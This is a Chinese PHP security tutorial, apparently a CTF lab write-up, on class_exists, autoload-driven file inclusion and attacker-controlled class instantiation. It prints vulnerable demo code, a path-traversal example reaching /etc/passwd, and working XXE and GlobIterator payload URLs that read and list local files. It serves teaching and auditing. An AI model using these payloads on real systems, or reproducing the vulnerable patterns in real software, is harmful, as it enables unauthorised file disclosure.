函数学习
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 : bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。
SimpleXMLElement :(PHP 5, PHP 7)
功能 :用来表示XML文档中的元素,为PHP的内置类。
Demo 学习 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function __autoload ($className ) { include $className ; } $controllerName = $_GET ['c' ];$data = $_GET ['d' ];if (class_exists($controllerName )) { $controller = new $controllerName ($data ['t' ], $data ['v' ]); $controller ->render(); } else { echo 'There is no page with this name' ; } class HomeController { private $template ; private $variables ; public function __construct ($template , $variables ) { $this ->template = $template ; $this ->variables = $variables ; } public function render ( ) { if ($this ->variables['new' ]) { echo 'controller rendering new response' ; } else { echo 'controller rendering old response' ; } } } ?>
这段代码存在两处漏洞:
文件包含漏洞 文件包含漏洞在第10行中,默认情况下,如果存在__autoload()
函数会自动调用。那么本题中,通过class_exists()
函数判断用户传过来的控制器是否存在,自动调用__autoload()
函数,从而造成文件包含漏洞。如果使用路径穿越就可以包含任意文件,例如 ../../../../etc/passwd
注:使用路径穿越需要PHP版本在 5~5.3之间才可以
实例化漏洞 在第9行中可以发现。实例化类的类名和传入类的参数均可控,所以可以通过该漏洞调用PHP代码库中的任意构造函数。即使代码本身并不包含易受攻击的构造函数,我们也可以通过使用PHP内置类SimpleXMLElement
来进行XXE攻击,进而读取任意文件等。
1 2 3 4 5 6 7 8 9 10 11 <?php $xml = <<<EOF<? xml version="1.0" encoding="utf-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///E:/Code/phpstudy/PHPTutorial/WWW/php/day3/flag.txt" > ]> <x>&xxe;</x> EOF; $xml_class = new SimpleXMLElement($xml , LIBXML_NOENT);var_dump($xml_class ); ?>
这个简单的Demo可以看出,使用SimpleXMLElement
创建一个新的XML对象,直接传入构造好的XML代码即可读取文件。
案例学习 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class NotFound { function __construct ( ) { die ('404' ); } } spl_autoload_register( function ($class ) { new NotFound(); } ); $classname = isset ($_GET ['name' ]) ? $_GET ['name' ] : null ;$param = isset ($_GET ['param' ]) ? $_GET ['param' ] : null ;$param2 = isset ($_GET ['param2' ]) ? $_GET ['param2' ] : null ;if (class_exists($classname )){ $newclass = new $classname ($param ,$param2 ); var_dump($newclass ); foreach ($newclass as $key =>$value ) echo $key .'=>' .$value .'<br>' ; }
1 2 3 4 <?php $flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}" ;?>
环境
Windows10
php 5.6.27 + Apache
phpstudy
分析 在第18行中,通过class_exists()
函数判断类是否存在,如果不存在则会调用__autoload()
函数,但代码中没有__autoload()
,这里是利用spl_autoload_register
实现类似__autoload()
的函数,输出404。
在第15~17行中,类和类里面的参数我们都可以控制,可通过传入内置的类去实例化来读取文件完成攻击。
首先,使用GlobIterator
类搜索flag文件名名称
GlobIterator::__construct —使用glob 表达式构造一个新的目录迭代器
public GlobIterator::__construct ( string $pattern
, int $flags
= FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )
第一个参数为要搜索的文件名,第二个参数为选择的文件的哪个信息作为键名,这里可使用默认值FilesystemIterator::CURRENT_AS_FILEINFO
,其对应的常量值为0,构造Payload:
1 2 Payload: http://127.0.0.1/php/day3/index.php?name=GlobIterator¶m=./*.php¶m2=0
找到了flag文件名为f1agi3hEre.php
,接下来使用SimpleXMLElement
类读取flag。但flag文件中存在< > & ' "
等符号,需要对内容进行base64编码,否则会导致XML解析失败。这里使用php://filter
去编码读取
1 2 Payload: http://127.0.0.1/php/day3/index.php?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/Code/phpstudy/PHPTutorial/WWW/php/day3/f1agi3hEre.php">]><x>%26xxe;</x>¶m2=2